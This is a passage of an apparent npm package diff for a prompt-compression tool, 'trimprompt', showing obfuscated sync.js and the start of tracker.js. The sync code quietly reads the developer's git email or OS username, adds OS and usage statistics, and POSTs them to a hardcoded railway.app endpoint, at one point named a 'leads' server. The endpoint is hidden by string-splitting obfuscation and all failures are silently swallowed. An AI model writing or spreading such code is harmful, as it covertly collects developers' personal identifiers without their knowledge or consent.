_0xa7c5bc;}Object[a0_0x353bd1(0x1b2)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x353bd1(0x1ba))),os=__importStar(require('os')),http=__importStar(require(a0_0x353bd1(0x19d))),https=__importStar(require(a0_0x353bd1(0x1b0))),url_1=require(a0_0x353bd1(0x1a2)),_cfg=['https://',a0_0x353bd1(0x1e9),a0_0x353bd1(0x192),a0_0x353bd1(0x1cd)]['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x353bd1(0x1aa),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x353bd1(0x1dc),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x353bd1(0x1df),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x353bd1(0x19b),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x353bd1(0x1c7),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x353bd1(0x1e5),'input_price_1m':0.075}},baseDir=path[a0_0x353bd1(0x1a5)](os[a0_0x353bd1(0x1a9)](),a0_0x353bd1(0x1a1)),configPath=path['join'](baseDir,a0_0x353bd1(0x1b7)),statsPath=path[a0_0x353bd1(0x1a5)](baseDir,a0_0x353bd1(0x199)),dailySyncPath=path[a0_0x353bd1(0x1a5)](baseDir,a0_0x353bd1(0x1c3));function getTodayDate(){const _0x26363b=a0_0x353bd1;return new Date()[_0x26363b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x51cd4c=a0_0x353bd1;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5eeac9}=require(_0x51cd4c(0x1a3)),_0x5afbc0=_0x5eeac9(_0x51cd4c(0x1b5),{'stdio':[_0x51cd4c(0x1ce),'pipe',_0x51cd4c(0x1ce)]})[_0x51cd4c(0x1d6)]()[_0x51cd4c(0x1e4)]();if(_0x5afbc0&&_0x5afbc0[_0x51cd4c(0x1b3)]('@'))return _0x5afbc0;}catch{}try{const _0x807025=os[_0x51cd4c(0x1e2)]()[_0x51cd4c(0x196)];if(_0x807025)return _0x807025;}catch{}return _0x51cd4c(0x1db);}function a0_0x1d6a(){const _0x40f890=['hasOwnProperty','stringify','estimated_compressed_tokens','255402dvdSod','/api/telemetry','ignore','unlinkSync','.comp.txt','logs','utf8','estimated_raw_tokens','telemetry_url','readFileSync','toString','application/json','platform','7500738FYHPBm','6610040EAjgJL','anonymous','Claude\x203\x20Opus','getOwnPropertyDescriptor','configurable','GPT-4o','hostname','writeFileSync','userInfo','model_used','trim','Gemini\x201.5\x20Flash','from','4646340Jabamw','pathname','your-leads-server','.railway.app','end','799257VkavYZ','push','username','search','POST','stats.json','timestamp','GPT-4o\x20Mini','create','http','7MkMbNY','length','input_price_1m','.trimprompt','url','child_process','existsSync','join','error','parse','destroy','homedir','Claude\x203.5\x20Sonnet','tokens_saved','synced','default','__importStar','writable','https','1556692VWhEKh','defineProperty','includes','add','git\x20config\x20user.email','toFixed','config.json','startsWith','protocol','path','__createBinding','toISOString','__esModule','https:','statusCode','write','.raw.txt','filter','daily_sync.json','251212mOvAel','request','last_sync_date','Gemini\x201.5\x20Pro','getOwnPropertyNames'];a0_0x1d6a=function(){return _0x40f890;};return a0_0x1d6a();}function hasAlreadySyncedToday(){const _0xf0eafd=a0_0x353bd1;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x143292=JSON[_0xf0eafd(0x1a7)](fs[_0xf0eafd(0x1d5)](dailySyncPath,_0xf0eafd(0x1d2)));return _0x143292[_0xf0eafd(0x1c6)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x5615a2=a0_0x353bd1;try{const _0x40c042={'last_sync_date':getTodayDate()};fs[_0x5615a2(0x1e1)](dailySyncPath,JSON['stringify'](_0x40c042,null,0x2),'utf8');}catch{}}function postTelemetry(_0x5e78c6,_0x406ce8){return new Promise(_0x5b6dc9=>{const _0x79c367=a0_0xa7c5;try{const _0x347324=new url_1['URL'](_0x5e78c6),_0x52a706=JSON[_0x79c367(0x1ca)](_0x406ce8),_0x5abde9={'hostname':_0x347324[_0x79c367(0x1e0)],'port':_0x347324['port']||(_0x347324[_0x79c367(0x1b9)]===_0x79c367(0x1be)?0x1bb:0x50),'path':_0x347324[_0x79c367(0x1e8)]+_0x347324[_0x79c367(0x197)],'method':_0x79c367(0x198),'headers':{'Content-Type':_0x79c367(0x1d7),'Content-Length':Buffer['byteLength'](_0x52a706)},'timeout':0x1f40},_0x111cb1=_0x347324[_0x79c367(0x1b9)]==='https:'?https:http,_0x44fef7=_0x111cb1[_0x79c367(0x1c5)](_0x5abde9,_0x922f92=>{const _0x1e51b4=_0x79c367;_0x5b6dc9(!!(_0x922f92[_0x1e51b4(0x1bf)]&&_0x922f92[_0x1e51b4(0x1bf)]>=0xc8&&_0x922f92['statusCode']<0x12c));});_0x44fef7['on'](_0x79c367(0x1a6),()=>_0x5b6dc9(![])),_0x44fef7['on']('timeout',()=>{const _0x490e76=_0x79c367;_0x44fef7[_0x490e76(0x1a8)](),_0x5b6dc9(![]);}),_0x44fef7[_0x79c367(0x1c0)](_0x52a706),_0x44fef7[_0x79c367(0x193)]();}catch{_0x5b6dc9(![]);}});}function buildDailyPayload(_0x4b89f8){const _0x1e1ce0=a0_0x353bd1,_0x419b73=getTodayDate(),_0x48c00d=_0x4b89f8[_0x1e1ce0(0x1c2)](_0x4484eb=>_0x4484eb[_0x1e1ce0(0x19a)][_0x1e1ce0(0x1b8)](_0x419b73)),_0x188ebe=_0x48c00d[_0x1e1ce0(0x19f)]>0x0?_0x48c00d:_0x4b89f8;let _0x3d54e4=0x0,_0x23b6aa=0x0,_0x9e86bd=0x0,_0x23ec9f=0x0;const _0x427e7f=new Set();for(const _0x52328a of _0x188ebe){_0x3d54e4+=_0x52328a[_0x1e1ce0(0x1d3)],_0x23b6aa+=_0x52328a[_0x1e1ce0(0x1cb)],_0x9e86bd+=_0x52328a[_0x1e1ce0(0x1ab)],_0x427e7f[_0x1e1ce0(0x1b4)](_0x52328a[_0x1e1ce0(0x1e3)]);const _0x3d9a44=PRICING[_0x52328a[_0x1e1ce0(0x1e3)]]||PRICING['claude-3-5-sonnet'];_0x23ec9f+=_0x52328a[_0x1e1ce0(0x1ab)]*_0x3d9a44[_0x1e1ce0(0x1a0)]/0xf4240;}const _0x5779fe=_0x188ebe[_0x188ebe['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x1e1ce0(0x1d8)](),'date':_0x419b73,'executions_count':_0x188ebe[_0x1e1ce0(0x19f)],'total_raw_tokens':_0x3d54e4,'total_compressed_tokens':_0x23b6aa,'total_tokens_saved':_0x9e86bd,'total_money_saved_usd':parseFloat(_0x23ec9f[_0x1e1ce0(0x1b6)](0x6)),'models_used':Array[_0x1e1ce0(0x1e6)](_0x427e7f),'last_seen':_0x5779fe?_0x5779fe[_0x1e1ce0(0x19a)]:new Date()[_0x1e1ce0(0x1bc)]()};}async function runSync(){const _0x342c02=a0_0x353bd1;if(!fs[_0x342c02(0x1a4)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x27da84;try{_0x27da84=JSON[_0x342c02(0x1a7)](fs[_0x342c02(0x1d5)](statsPath,_0x342c02(0x1d2)));}catch{return;}const _0x11f669=_0x27da84['filter'](_0x4ea3a9=>!_0x4ea3a9[_0x342c02(0x1ac)]);if(_0x11f669[_0x342c02(0x19f)]===0x0)return;const _0x3ed601=buildDailyPayload(_0x27da84);await postTelemetry(_ep,_0x3ed601);let _0xb3ce4d=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xb3ce4d&&fs['existsSync'](configPath))try{const _0x528624=JSON[_0x342c02(0x1a7)](fs[_0x342c02(0x1d5)](configPath,'utf8'));_0xb3ce4d=_0x528624[_0x342c02(0x1d4)]||'';}catch{}_0xb3ce4d[_0x342c02(0x1e4)]()['length']>0x0&&await postTelemetry(_0xb3ce4d,_0x3ed601);for(const _0x53178c of _0x27da84){if(!_0x53178c[_0x342c02(0x1ac)])_0x53178c['synced']=!![];}try{fs[_0x342c02(0x1e1)](statsPath,JSON[_0x342c02(0x1ca)](_0x27da84,null,0x2),_0x342c02(0x1d2));}catch{}markSyncedToday(),pruneOldLogs(_0x27da84);}function pruneOldLogs(_0x405373){const _0x17f97c=a0_0x353bd1;try{const _0x1e9962=new Date(),_0x342948=new Date(_0x1e9962['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x803901=[],_0x6fccdb=[];for(const _0x917019 of _0x405373){const _0x3448fe=new Date(_0x917019['timestamp']);_0x3448fe>=_0x342948?_0x803901[_0x17f97c(0x195)](_0x917019):_0x6fccdb[_0x17f97c(0x195)](_0x917019);}if(_0x6fccdb[_0x17f97c(0x19f)]>0x0){const _0x4f71d4=path['join'](baseDir,_0x17f97c(0x1d1));for(const _0x48e41f of _0x6fccdb){const _0x2cb8bc=path['join'](_0x4f71d4,_0x48e41f['id']+_0x17f97c(0x1c1)),_0x506d90=path[_0x17f97c(0x1a5)](_0x4f71d4,_0x48e41f['id']+_0x17f97c(0x1d0));try{if(fs[_0x17f97c(0x1a4)](_0x2cb8bc))fs[_0x17f97c(0x1cf)](_0x2cb8bc);if(fs['existsSync'](_0x506d90))fs['unlinkSync'](_0x506d90);}catch{}}fs['writeFileSync'](statsPath,JSON[_0x17f97c(0x1ca)](_0x803901,null,0x2),_0x17f97c(0x1d2));}}catch{}}runSync()['catch'](()=>{});
1
+ 'use strict';const a0_0x354d32=a0_0x39bf;(function(_0xa76070,_0x436af1){const _0x6ae303=a0_0x39bf,_0x42a06f=_0xa76070();while(!![]){try{const _0xf47294=parseInt(_0x6ae303(0x166))/0x1+parseInt(_0x6ae303(0x17f))/0x2*(-parseInt(_0x6ae303(0x16b))/0x3)+-parseInt(_0x6ae303(0x168))/0x4*(parseInt(_0x6ae303(0x158))/0x5)+parseInt(_0x6ae303(0x18f))/0x6*(-parseInt(_0x6ae303(0x190))/0x7)+-parseInt(_0x6ae303(0x194))/0x8+-parseInt(_0x6ae303(0x150))/0x9+-parseInt(_0x6ae303(0x16f))/0xa*(-parseInt(_0x6ae303(0x164))/0xb);if(_0xf47294===_0x436af1)break;else _0x42a06f['push'](_0x42a06f['shift']());}catch(_0x2e728c){_0x42a06f['push'](_0x42a06f['shift']());}}}(a0_0x264b,0x45183));var __createBinding=this&&this[a0_0x354d32(0x169)]||(Object['create']?function(_0x2b8610,_0xfff1ad,_0x53fe6f,_0x20e805){const _0x3289f5=a0_0x354d32;if(_0x20e805===undefined)_0x20e805=_0x53fe6f;var _0x54627e=Object[_0x3289f5(0x195)](_0xfff1ad,_0x53fe6f);(!_0x54627e||(_0x3289f5(0x17c)in _0x54627e?!_0xfff1ad[_0x3289f5(0x185)]:_0x54627e[_0x3289f5(0x1a0)]||_0x54627e[_0x3289f5(0x159)]))&&(_0x54627e={'enumerable':!![],'get':function(){return _0xfff1ad[_0x53fe6f];}}),Object[_0x3289f5(0x182)](_0x2b8610,_0x20e805,_0x54627e);}:function(_0xc36c63,_0xf5470,_0x1deac0,_0x4574a){if(_0x4574a===undefined)_0x4574a=_0x1deac0;_0xc36c63[_0x4574a]=_0xf5470[_0x1deac0];}),__setModuleDefault=this&&this[a0_0x354d32(0x1a2)]||(Object['create']?function(_0x4be2db,_0x1ac0c1){const _0x4e7944=a0_0x354d32;Object[_0x4e7944(0x182)](_0x4be2db,'default',{'enumerable':!![],'value':_0x1ac0c1});}:function(_0x88b785,_0x4898a0){const _0x3bb3fb=a0_0x354d32;_0x88b785[_0x3bb3fb(0x155)]=_0x4898a0;}),__importStar=this&&this['__importStar']||(function(){var _0x55483b=function(_0x2e5e9d){const _0x452e81=a0_0x39bf;return _0x55483b=Object[_0x452e81(0x171)]||function(_0x6e5f0c){const _0x1be388=_0x452e81;var _0x31cdc8=[];for(var _0x43e468 in _0x6e5f0c)if(Object['prototype'][_0x1be388(0x17a)][_0x1be388(0x1a4)](_0x6e5f0c,_0x43e468))_0x31cdc8[_0x31cdc8['length']]=_0x43e468;return _0x31cdc8;},_0x55483b(_0x2e5e9d);};return function(_0x5a2471){const _0x485049=a0_0x39bf;if(_0x5a2471&&_0x5a2471[_0x485049(0x185)])return _0x5a2471;var _0x21cc6f={};if(_0x5a2471!=null){for(var _0x3eddbe=_0x55483b(_0x5a2471),_0x32d915=0x0;_0x32d915<_0x3eddbe[_0x485049(0x17b)];_0x32d915++)if(_0x3eddbe[_0x32d915]!==_0x485049(0x155))__createBinding(_0x21cc6f,_0x5a2471,_0x3eddbe[_0x32d915]);}return __setModuleDefault(_0x21cc6f,_0x5a2471),_0x21cc6f;};}());Object[a0_0x354d32(0x182)](exports,a0_0x354d32(0x185),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x354d32(0x183))),https=__importStar(require(a0_0x354d32(0x19e))),url_1=require(a0_0x354d32(0x187)),_cfg=[a0_0x354d32(0x16d),a0_0x354d32(0x19a),a0_0x354d32(0x14f),'/api/telemetry'][a0_0x354d32(0x192)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x354d32(0x15a),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x354d32(0x196),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x354d32(0x16c),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x354d32(0x15b),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x354d32(0x177),'input_price_1m':0.075}},baseDir=path[a0_0x354d32(0x192)](os[a0_0x354d32(0x199)](),'.trimprompt'),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x354d32(0x192)](baseDir,a0_0x354d32(0x18b)),dailySyncPath=path[a0_0x354d32(0x192)](baseDir,a0_0x354d32(0x167));function getTodayDate(){const _0x5a309a=a0_0x354d32;return new Date()[_0x5a309a(0x184)]()[_0x5a309a(0x176)]('T')[0x0];}function getDeveloperIdentity(){const _0x583998=a0_0x354d32;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x4740f0}=require(_0x583998(0x173)),_0x276a94=_0x4740f0(_0x583998(0x18e),{'stdio':['ignore',_0x583998(0x181),'ignore']})[_0x583998(0x15f)]()[_0x583998(0x186)]();if(_0x276a94&&_0x276a94[_0x583998(0x163)]('@'))return _0x276a94;}catch{}try{const _0x2459c9=os[_0x583998(0x19b)]()[_0x583998(0x179)];if(_0x2459c9)return _0x2459c9;}catch{}return _0x583998(0x175);}function hasAlreadySyncedToday(){const _0x3f41cb=a0_0x354d32;try{if(!fs[_0x3f41cb(0x170)](dailySyncPath))return![];const _0x59a2d1=JSON[_0x3f41cb(0x153)](fs[_0x3f41cb(0x1a1)](dailySyncPath,_0x3f41cb(0x16e)));return _0x59a2d1['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2bbb50=a0_0x354d32;try{const _0x712113={'last_sync_date':getTodayDate()};fs[_0x2bbb50(0x152)](dailySyncPath,JSON[_0x2bbb50(0x172)](_0x712113,null,0x2),_0x2bbb50(0x16e));}catch{}}function postTelemetry(_0x5dc606,_0x2c2745){return new Promise(_0x307eaa=>{const _0x1baad9=a0_0x39bf;try{const _0x45c8fe=new url_1['URL'](_0x5dc606),_0xfb2877=JSON[_0x1baad9(0x172)](_0x2c2745),_0x2b7ab5={'hostname':_0x45c8fe['hostname'],'port':_0x45c8fe[_0x1baad9(0x180)]||(_0x45c8fe[_0x1baad9(0x188)]===_0x1baad9(0x197)?0x1bb:0x50),'path':_0x45c8fe[_0x1baad9(0x154)]+_0x45c8fe[_0x1baad9(0x165)],'method':'POST','headers':{'Content-Type':_0x1baad9(0x18a),'Content-Length':Buffer['byteLength'](_0xfb2877)},'timeout':0x1f40},_0x616dac=_0x45c8fe['protocol']===_0x1baad9(0x197)?https:http,_0x32325c=_0x616dac[_0x1baad9(0x1a3)](_0x2b7ab5,_0x2de2e6=>{const _0x427f3b=_0x1baad9;_0x307eaa(!!(_0x2de2e6[_0x427f3b(0x157)]&&_0x2de2e6['statusCode']>=0xc8&&_0x2de2e6[_0x427f3b(0x157)]<0x12c));});_0x32325c['on'](_0x1baad9(0x160),()=>_0x307eaa(![])),_0x32325c['on'](_0x1baad9(0x17e),()=>{const _0x39d5fb=_0x1baad9;_0x32325c[_0x39d5fb(0x198)](),_0x307eaa(![]);}),_0x32325c['write'](_0xfb2877),_0x32325c[_0x1baad9(0x18c)]();}catch{_0x307eaa(![]);}});}function buildDailyPayload(_0x34172a){const _0x297490=a0_0x354d32,_0x334da1=getTodayDate(),_0x2e8ddd=_0x34172a[_0x297490(0x151)](_0x2f8abe=>_0x2f8abe[_0x297490(0x19f)][_0x297490(0x191)](_0x334da1)),_0xd0203b=_0x2e8ddd['length']>0x0?_0x2e8ddd:_0x34172a;let _0x175223=0x0,_0x425093=0x0,_0x234cd7=0x0,_0x11f677=0x0;const _0x3139ef=new Set();for(const _0x2a68fe of _0xd0203b){_0x175223+=_0x2a68fe['estimated_raw_tokens'],_0x425093+=_0x2a68fe['estimated_compressed_tokens'],_0x234cd7+=_0x2a68fe[_0x297490(0x15e)],_0x3139ef[_0x297490(0x156)](_0x2a68fe[_0x297490(0x19d)]);const _0x254a2c=PRICING[_0x2a68fe['model_used']]||PRICING[_0x297490(0x178)];_0x11f677+=_0x2a68fe[_0x297490(0x15e)]*_0x254a2c[_0x297490(0x161)]/0xf4240;}const _0x4a3ab4=_0xd0203b[_0xd0203b[_0x297490(0x17b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x297490(0x15d)](),'date':_0x334da1,'executions_count':_0xd0203b['length'],'total_raw_tokens':_0x175223,'total_compressed_tokens':_0x425093,'total_tokens_saved':_0x234cd7,'total_money_saved_usd':parseFloat(_0x11f677['toFixed'](0x6)),'models_used':Array[_0x297490(0x162)](_0x3139ef),'last_seen':_0x4a3ab4?_0x4a3ab4['timestamp']:new Date()[_0x297490(0x184)]()};}async function runSync(){const _0x3a63b5=a0_0x354d32;if(!fs[_0x3a63b5(0x170)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2a3c25;try{_0x2a3c25=JSON['parse'](fs[_0x3a63b5(0x1a1)](statsPath,_0x3a63b5(0x16e)));}catch{return;}const _0x324f6b=_0x2a3c25[_0x3a63b5(0x151)](_0x167108=>!_0x167108['synced']);if(_0x324f6b['length']===0x0)return;const _0x59e85d=buildDailyPayload(_0x2a3c25);await postTelemetry(_ep,_0x59e85d);let _0x306b29=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x306b29&&fs['existsSync'](configPath))try{const _0x237772=JSON['parse'](fs['readFileSync'](configPath,_0x3a63b5(0x16e)));_0x306b29=_0x237772[_0x3a63b5(0x16a)]||'';}catch{}_0x306b29[_0x3a63b5(0x186)]()['length']>0x0&&await postTelemetry(_0x306b29,_0x59e85d);for(const _0x180d67 of _0x2a3c25){if(!_0x180d67[_0x3a63b5(0x174)])_0x180d67[_0x3a63b5(0x174)]=!![];}try{fs[_0x3a63b5(0x152)](statsPath,JSON[_0x3a63b5(0x172)](_0x2a3c25,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x2a3c25);}function a0_0x264b(){const _0x517acb=['3302456SbiOqt','getOwnPropertyDescriptor','GPT-4o','https:','destroy','homedir','trimp-production','userInfo','unlinkSync','model_used','https','timestamp','writable','readFileSync','__setModuleDefault','request','call','.up.railway.app','1557936tWzHfm','filter','writeFileSync','parse','pathname','default','add','statusCode','80pCPQws','configurable','Claude\x203\x20Opus','Gemini\x201.5\x20Pro','logs','platform','tokens_saved','toString','error','input_price_1m','from','includes','281776ZMmwmW','search','118226JbjqBY','daily_sync.json','103856AQNlKB','__createBinding','telemetry_url','3zRanWe','GPT-4o\x20Mini','https://','utf8','590kIhrqO','existsSync','getOwnPropertyNames','stringify','child_process','synced','anonymous','split','Gemini\x201.5\x20Flash','claude-3-5-sonnet','username','hasOwnProperty','length','get','push','timeout','169406xSlUiy','port','pipe','defineProperty','http','toISOString','__esModule','trim','url','protocol','catch','application/json','stats.json','end','getTime','git\x20config\x20user.email','6486MCYxVP','1687odGfgf','startsWith','join','.comp.txt'];a0_0x264b=function(){return _0x517acb;};return a0_0x264b();}function a0_0x39bf(_0x476426,_0x1bd220){_0x476426=_0x476426-0x14f;const _0x264b68=a0_0x264b();let _0x39bfea=_0x264b68[_0x476426];return _0x39bfea;}function pruneOldLogs(_0x4af83d){const _0x3154cf=a0_0x354d32;try{const _0xdda994=new Date(),_0x2770f0=new Date(_0xdda994[_0x3154cf(0x18d)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x468230=[],_0x3c84b0=[];for(const _0x10de79 of _0x4af83d){const _0x29634c=new Date(_0x10de79[_0x3154cf(0x19f)]);_0x29634c>=_0x2770f0?_0x468230[_0x3154cf(0x17d)](_0x10de79):_0x3c84b0[_0x3154cf(0x17d)](_0x10de79);}if(_0x3c84b0[_0x3154cf(0x17b)]>0x0){const _0xcc69ea=path[_0x3154cf(0x192)](baseDir,_0x3154cf(0x15c));for(const _0x21745b of _0x3c84b0){const _0x3ae96a=path[_0x3154cf(0x192)](_0xcc69ea,_0x21745b['id']+'.raw.txt'),_0x53e66a=path['join'](_0xcc69ea,_0x21745b['id']+_0x3154cf(0x193));try{if(fs['existsSync'](_0x3ae96a))fs[_0x3154cf(0x19c)](_0x3ae96a);if(fs[_0x3154cf(0x170)](_0x53e66a))fs[_0x3154cf(0x19c)](_0x53e66a);}catch{}}fs[_0x3154cf(0x152)](statsPath,JSON['stringify'](_0x468230,null,0x2),'utf8');}}catch{}}runSync()[a0_0x354d32(0x189)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x22692a=a0_0x432c;function a0_0x432c(_0xe5c84f,_0x2f6939){_0xe5c84f=_0xe5c84f-0x1eb;const _0xae0583=a0_0xae05();let _0x432c03=_0xae0583[_0xe5c84f];return _0x432c03;}(function(_0x2198a0,_0x46e73d){const _0x6d51af=a0_0x432c,_0x4f2a91=_0x2198a0();while(!![]){try{const _0x3dd0a8=parseInt(_0x6d51af(0x206))/0x1+-parseInt(_0x6d51af(0x1ee))/0x2+-parseInt(_0x6d51af(0x1fb))/0x3*(parseInt(_0x6d51af(0x22c))/0x4)+-parseInt(_0x6d51af(0x224))/0x5*(parseInt(_0x6d51af(0x23c))/0x6)+-parseInt(_0x6d51af(0x22a))/0x7+-parseInt(_0x6d51af(0x20e))/0x8+parseInt(_0x6d51af(0x231))/0x9*(parseInt(_0x6d51af(0x22e))/0xa);if(_0x3dd0a8===_0x46e73d)break;else _0x4f2a91['push'](_0x4f2a91['shift']());}catch(_0x569ed5){_0x4f2a91['push'](_0x4f2a91['shift']());}}}(a0_0xae05,0xda1e4));function a0_0xae05(){const _0x2d331c=['writeFileSync','PRICING','224307GPQmnI','toFixed','gemini-3-1-pro','writable','GPT-5.5','get','Claude\x203.5\x20Sonnet','split','__importStar','Claude\x20Haiku\x204.5','max','1164918pEfuXu','stringify','GPT-5.4\x20Mini','GPT-5.4\x20Nano','tracker','GPT-4o\x20Mini','unknown','logsDir','Gemini\x203.1\x20Pro','init','getLogs','push','.raw.txt','getConfig','config.json','input_price_1m','3251526gQNQHI','OpenAI\x20o3-mini','claude-opus-4-8','.trimprompt','Claude\x20Opus\x204.8','trim','ceil','config','saveLogs','default','existsSync','toISOString','prototype','45165JfIVzN','model_used','__esModule','Claude\x20Opus\x204.1\x20(deprecated)','call','saveConfig','statsPath','Gemini\x203.5\x20Live\x20Translate','Tracker','GPT-5.4','baseDir','344702XgsRJv','auto','1.0','parse','GPT-4.1\x20Nano','ignore','length','child_process','5282208Tfarby','getStatsSummary','default_model','Claude\x20Opus\x204.7','join','readFileSync','defineProperty','Claude\x20Haiku\x203.5','logs','logExecution','mkdirSync','setConfig','path','homedir','create','Claude\x20Fable\x205','GPT-4.1\x20Mini','GPT-4o','triggerBackgroundSync','estimated_raw_tokens','OpenAI\x20o1-mini','utf8','35uQDjsg','spawn','hasOwnProperty','claude-3-5-sonnet','configPath','Claude\x20Sonnet\x204.6','1913408qtPLvm','sync.js','356SwmSXv','__createBinding','2330SOkLLR'];a0_0xae05=function(){return _0x2d331c;};return a0_0xae05();}var __createBinding=this&&this[a0_0x22692a(0x22d)]||(Object[a0_0x22692a(0x21c)]?function(_0x415eaf,_0x31d9a3,_0x351a4d,_0x350f23){const _0x1e458c=a0_0x22692a;if(_0x350f23===undefined)_0x350f23=_0x351a4d;var _0xd4b441=Object['getOwnPropertyDescriptor'](_0x31d9a3,_0x351a4d);(!_0xd4b441||(_0x1e458c(0x236)in _0xd4b441?!_0x31d9a3['__esModule']:_0xd4b441[_0x1e458c(0x234)]||_0xd4b441['configurable']))&&(_0xd4b441={'enumerable':!![],'get':function(){return _0x31d9a3[_0x351a4d];}}),Object[_0x1e458c(0x214)](_0x415eaf,_0x350f23,_0xd4b441);}:function(_0x2f66aa,_0x395bdf,_0x6985e,_0x136e14){if(_0x136e14===undefined)_0x136e14=_0x6985e;_0x2f66aa[_0x136e14]=_0x395bdf[_0x6985e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x4b552a,_0x526b51){const _0x593fe3=a0_0x22692a;Object[_0x593fe3(0x214)](_0x4b552a,_0x593fe3(0x1f7),{'enumerable':!![],'value':_0x526b51});}:function(_0x3a22ac,_0x2fc5cf){const _0x58d2d3=a0_0x22692a;_0x3a22ac[_0x58d2d3(0x1f7)]=_0x2fc5cf;}),__importStar=this&&this[a0_0x22692a(0x239)]||(function(){var _0x43ea31=function(_0x5f01a9){return _0x43ea31=Object['getOwnPropertyNames']||function(_0x1bf22a){const _0x436687=a0_0x432c;var _0x141bb8=[];for(var _0x1a638c in _0x1bf22a)if(Object[_0x436687(0x1fa)][_0x436687(0x226)][_0x436687(0x1ff)](_0x1bf22a,_0x1a638c))_0x141bb8[_0x141bb8[_0x436687(0x20c)]]=_0x1a638c;return _0x141bb8;},_0x43ea31(_0x5f01a9);};return function(_0xa0c1fe){const _0x259e6c=a0_0x432c;if(_0xa0c1fe&&_0xa0c1fe[_0x259e6c(0x1fd)])return _0xa0c1fe;var _0x567df6={};if(_0xa0c1fe!=null){for(var _0x3fab42=_0x43ea31(_0xa0c1fe),_0x17dc00=0x0;_0x17dc00<_0x3fab42[_0x259e6c(0x20c)];_0x17dc00++)if(_0x3fab42[_0x17dc00]!==_0x259e6c(0x1f7))__createBinding(_0x567df6,_0xa0c1fe,_0x3fab42[_0x17dc00]);}return __setModuleDefault(_0x567df6,_0xa0c1fe),_0x567df6;};}());Object[a0_0x22692a(0x214)](exports,a0_0x22692a(0x1fd),{'value':!![]}),exports[a0_0x22692a(0x240)]=exports[a0_0x22692a(0x203)]=exports[a0_0x22692a(0x230)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x22692a(0x21a))),os=__importStar(require('os')),child_process_1=require(a0_0x22692a(0x20d));exports[a0_0x22692a(0x230)]={'claude-fable-5':{'name':a0_0x22692a(0x21d),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x22692a(0x1f2),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x22692a(0x211),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x22692a(0x1fe),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x22692a(0x229),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x22692a(0x237),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x22692a(0x23a),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x22692a(0x215),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x22692a(0x235),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x22692a(0x204),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x22692a(0x21f),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x22692a(0x23e),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x22692a(0x23f),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x22692a(0x21e),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x22692a(0x20a),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x22692a(0x241),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x22692a(0x222),'input_price_1m':0x3},'o3-mini':{'name':a0_0x22692a(0x1ef),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x22692a(0x244),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x22692a(0x202),'input_price_1m':3.5}};class Tracker{[a0_0x22692a(0x205)];[a0_0x22692a(0x228)];[a0_0x22692a(0x201)];['logsDir'];['config'];constructor(){const 